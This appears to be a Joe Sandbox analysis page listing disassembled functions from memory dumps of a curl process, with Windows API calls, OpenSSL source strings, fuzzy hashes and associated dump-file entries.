Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\ssl\s3_cbc.c$..\..\openssl\openssl\ssl\s3_cbc.c$..\..\openssl\openssl\ssl\s3_cbc.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE$data_plus_mac_plus_padding_size < 1024*1024$j$mac_secret_length <= sizeof(hmac_pad)
API String ID: 0-1691931304
Opcode ID: a09e2ba44dba0c7dd0daa17c803bc4757215673ef052f2dcd7e2a46c1e8fefb0
Instruction ID: 0451b3c156d04c4b89728677d000dbfb29cb75d8d1c68b1c370cd4e6f2d89139
Opcode Fuzzy Hash: a09e2ba44dba0c7dd0daa17c803bc4757215673ef052f2dcd7e2a46c1e8fefb0
Instruction Fuzzy Hash: 8E42AF716183888FD710CF68D984B9FBBE5AFD9304F148A2DF58987292EB31D944CB52

Function 00A88705 Relevance: 9.2, APIs: 6, Instructions: 160memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A708C3: SetFilePointerEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00A7085C,?,?,?,?,00AB7930), ref: 00A708FA
Part of subcall function 00A708C3: GetLastError.KERNEL32(?,?,?,?,00A7085C,?,?,?,?,00AB7930,00000018,009734F9,?,?,?,?), ref: 00A70904

GetProcessHeap.KERNEL32(00000008,00001000,?,?,?,?,?,00975539,00000001,00000000,?,?,00A7F8BC,00975539,00000000,00000080), ref: 00A8876E
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00975539,00000001,00000000,?,?,00A7F8BC,00975539,00000000,00000080), ref: 00A88775
GetProcessHeap.KERNEL32(00000000,00975539,?,?,?,?,?,?,?,?,00975539,00000001,00000000,?,?,00A7F8BC), ref: 00A88817
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,00975539,00000001,00000000,?,?,00A7F8BC,00975539), ref: 00A8881E
SetEndOfFile.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00975539,00000001,00000000,?,?,00A7F8BC), ref: 00A88854
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00975539,00000001,00000000,?,?,00A7F8BC,00975539), ref: 00A88884

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Heap$ErrorFileLastProcess$AllocFreePointer
String ID:
API String ID: 1354853467-0
Opcode ID: fdda8cfdf185e2efef30f3ed7ec95d679a80ff594b82fdc69e8f12aa1ef0d4ba
Instruction ID: 0ed8adccc7f240580f29d3c46970a7365a8fbff33e061831423650862b42c3b4
Opcode Fuzzy Hash: fdda8cfdf185e2efef30f3ed7ec95d679a80ff594b82fdc69e8f12aa1ef0d4ba
Instruction Fuzzy Hash: 9641F436D00111ABCB24BBB8CD46BAE7BB4EF04770F648215F928D71D1EF78894147A1

Function 009823B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,0098D974), ref: 009823B7
FormatMessageA.KERNEL32(00001000,00000000,00000000,00000000,?,000000FF,00000000,0098D974), ref: 0098240F
GetLastError.KERNEL32(?,?,?,?,0098D974), ref: 0098246B
SetLastError.KERNEL32(00000000,?,?,?,?,0098D974), ref: 00982476

Strings

Unknown error %d (%#x), xrefs: 0098241B

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLast$FormatMessage
String ID: Unknown error %d (%#x)
API String ID: 71157656-2414550090
Opcode ID: acc48492238f6aab18e33dc01f5f12308d20906baf66917cc1d295cd583590f4
Instruction ID: b877e907bacfca13037a736fb8b58c0a79ce7968409b9de9d7763eaed6cd34b7
Opcode Fuzzy Hash: acc48492238f6aab18e33dc01f5f12308d20906baf66917cc1d295cd583590f4
Instruction Fuzzy Hash: 7A11C4757402516AF62137795D4AF7B299D8F96B06F044039F90EE67E3EA94880283B2

Function 009D8F40 Relevance: 8.2, Strings: 6, Instructions: 685COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\ssl\t1_lib.c, xrefs: 009D90C4
..\..\openssl\openssl\ssl\t1_lib.c, xrefs: 009D91FA
..\..\openssl\openssl\ssl\t1_lib.c, xrefs: 009D97FA
..\..\openssl\openssl\ssl\t1_lib.c, xrefs: 009D92CE
..\..\openssl\openssl\ssl\t1_lib.c, xrefs: 009D93C2
..\..\openssl\openssl\ssl\t1_lib.c, xrefs: 009D91D2

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\ssl\t1_lib.c$..\..\openssl\openssl\ssl\t1_lib.c$..\..\openssl\openssl\ssl\t1_lib.c$..\..\openssl\openssl\ssl\t1_lib.c$..\..\openssl\openssl\ssl\t1_lib.c$..\..\openssl\openssl\ssl\t1_lib.c
API String ID: 0-4012423179
Opcode ID: 68470950fd606b06559643793dfe1e664dcba016b83cce4e4748c09c62cc53b3
Instruction ID: 7383ef5bf7f3370c43cc104464225ead4860a26047d2580c501f9cbfb92739a2
Opcode Fuzzy Hash: 68470950fd606b06559643793dfe1e664dcba016b83cce4e4748c09c62cc53b3
Instruction Fuzzy Hash: 8842D3706483428FC705DF28D994B5ABBE1FF95304F08856EE4899B392D735E909CBA3

Function 00A3A420 Relevance: 7.9, Strings: 6, Instructions: 370COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\rsa\rsa_oaep.c, xrefs: 00A3A82E
..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 00A3A88F
..\..\openssl\openssl\crypto\rsa\rsa_oaep.c, xrefs: 00A3A475
..\..\openssl\openssl\crypto\rsa\rsa_oaep.c, xrefs: 00A3A497
..\..\openssl\openssl\crypto\rsa\rsa_oaep.c, xrefs: 00A3A7BD
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 00A3A885

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\crypto\rsa\rsa_oaep.c$..\..\openssl\openssl\crypto\rsa\rsa_oaep.c$..\..\openssl\openssl\crypto\rsa\rsa_oaep.c$..\..\openssl\openssl\crypto\rsa\rsa_oaep.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 0-3395805282
Opcode ID: 980bada92c4e5563ad339ed919e26ee3ed367c4301d37610685af2052d80b2f7
Instruction ID: 56884d7ff476b2c4f1426cc8c3ad54504e4009f5f9fbadfa488e8defb38d4bd2
Opcode Fuzzy Hash: 980bada92c4e5563ad339ed919e26ee3ed367c4301d37610685af2052d80b2f7
Instruction Fuzzy Hash: 72D1D2316043518BC700CF28C841BAABBE1BFE5704F148A2DF4D59B291EB75D949CB93

Function 00A86DA3 Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GetUserDefaultLCID.KERNEL32(?,?,00000055), ref: 00A86EBC
IsValidCodePage.KERNEL32(00000000), ref: 00A86F10
IsValidLocale.KERNEL32(?,00000001), ref: 00A86F23
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040), ref: 00A86F76
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 00A86F8D

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Locale$InfoValid$CodeDefaultPageUser
String ID:
API String ID: 3475089800-0
Opcode ID: 9dfabde688a6c9d004572109ee2280e19a99cd100143d304a320c858f2d7979e
Instruction ID: a159198915ecf85569ed3c20cd1a292bdb24676a259c6a56e7fd0a775864957c
Opcode Fuzzy Hash: 9dfabde688a6c9d004572109ee2280e19a99cd100143d304a320c858f2d7979e
Instruction Fuzzy Hash: 78515B75A002199EEF20FFA4DC85BBE77B8AF04701F18056AE905EB191EB70D9548BA1

Function 00A86C8C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00A86EE8,?,00000000), ref: 00A86CD0
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00A86EE8,?,00000000), ref: 00A86CFA

Strings

OCP, xrefs: 00A86CAE
ACP, xrefs: 00A86C9D

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: bcd1d8a4ad62bf23a2fd1f484d23d31fb5c7dbcdf658ce41bc8c3f63439ee2ed
Instruction ID: dfaf6524f9c0e6b239ab7a0d32cabc27a5723ff0d1f7ff44b8f04d6a92a0b1ca
Opcode Fuzzy Hash: bcd1d8a4ad62bf23a2fd1f484d23d31fb5c7dbcdf658ce41bc8c3f63439ee2ed
Instruction Fuzzy Hash: 4A014C75600615AAFB10BFA4DC45E9A37E8FF04BA0F148015F948DA091EB21EA81C791

Function 009EF220 Relevance: 6.9, Strings: 5, Instructions: 695COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 009EF43D, 009EF7A2, 009EFA40
..\..\openssl\openssl\crypto\evp\evp_lib.c, xrefs: 009EF2EB, 009EF765
666666666666666666666666666666666666666666666666\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\SECG/WTLS curve over a 112 bit prime field, xrefs: 009EF34B, 009EF577, 009EF6EB
..\..\openssl\openssl\ssl\s3_enc.c, xrefs: 009EF280
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 009EF433, 009EF798, 009EFA36

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\crypto\evp\evp_lib.c$..\..\openssl\openssl\ssl\s3_enc.c$666666666666666666666666666666666666666666666666\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\SECG/WTLS curve over a 112 bit prime field$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 0-611468552
Opcode ID: 98a22a22ab3d8c102516c314f54899e3c348b93c4cb3a6064add49494caae12c
Instruction ID: a186e4356e4a454417556de18d0dd64dca93ec4910288a1b0b7fc541ffead4ca
Opcode Fuzzy Hash: 98a22a22ab3d8c102516c314f54899e3c348b93c4cb3a6064add49494caae12c
Instruction Fuzzy Hash: 64427C716083819FC704CF69C855E5BB7E5BFC9304F04496EF5898B2A2E735EA18CB92

Function 00A601F0 Relevance: 6.6, Strings: 5, Instructions: 313COMMON

Download Yara Rule

Strings

realpath, xrefs: 00A602A4, 00A602AE
%s %s on %s, xrefs: 00A602BD
Reading, xrefs: 00A602AF
Creating, xrefs: 00A602B4, 00A602BC
symlink, xrefs: 00A60298

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: %s %s on %s$Creating$Reading$realpath$symlink
API String ID: 0-1632318852
Opcode ID: 0fc6d0b47bf19b28a6de86c4577213d5371da8791db4fe38478160edf4f64692
Instruction ID: 135a7990a5b77f91453a0a56b7a22cee23be409263d609998e490e040d8ccc70
Opcode Fuzzy Hash: 0fc6d0b47bf19b28a6de86c4577213d5371da8791db4fe38478160edf4f64692
Instruction Fuzzy Hash: 85B107722042419FC714CF6C9C40AAABBE0EF85321F44867EEDA98B381D735E959C7B1

Function 00A7A39A Relevance: 6.5, APIs: 1, Strings: 2, Instructions: 1221COMMON

Download Yara Rule

Strings

?, xrefs: 00A7AD23
, xrefs: 00A7AE00

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: $?
API String ID: 0-2156024681
Opcode ID: 00681801e0daee74168ba621325fcfc243d83c1369dca7bb9371953967630979
Instruction ID: 5b2929c63b0d0a2e56655dd998925564718e27d6760801cbbd6be4e4d07d8d3e
Opcode Fuzzy Hash: 00681801e0daee74168ba621325fcfc243d83c1369dca7bb9371953967630979
Instruction Fuzzy Hash: 00A280B1905268AFDF358B288C907EDBBB5AF96310F14C1DAD45DA7281DB318E81CF52

Function 00A7EDCF Relevance: 6.1, APIs: 4, Instructions: 53timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00A7EE03
GetCurrentThreadId.KERNEL32 ref: 00A7EE12
GetCurrentProcessId.KERNEL32 ref: 00A7EE1B
QueryPerformanceCounter.KERNEL32(?), ref: 00A7EE28

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
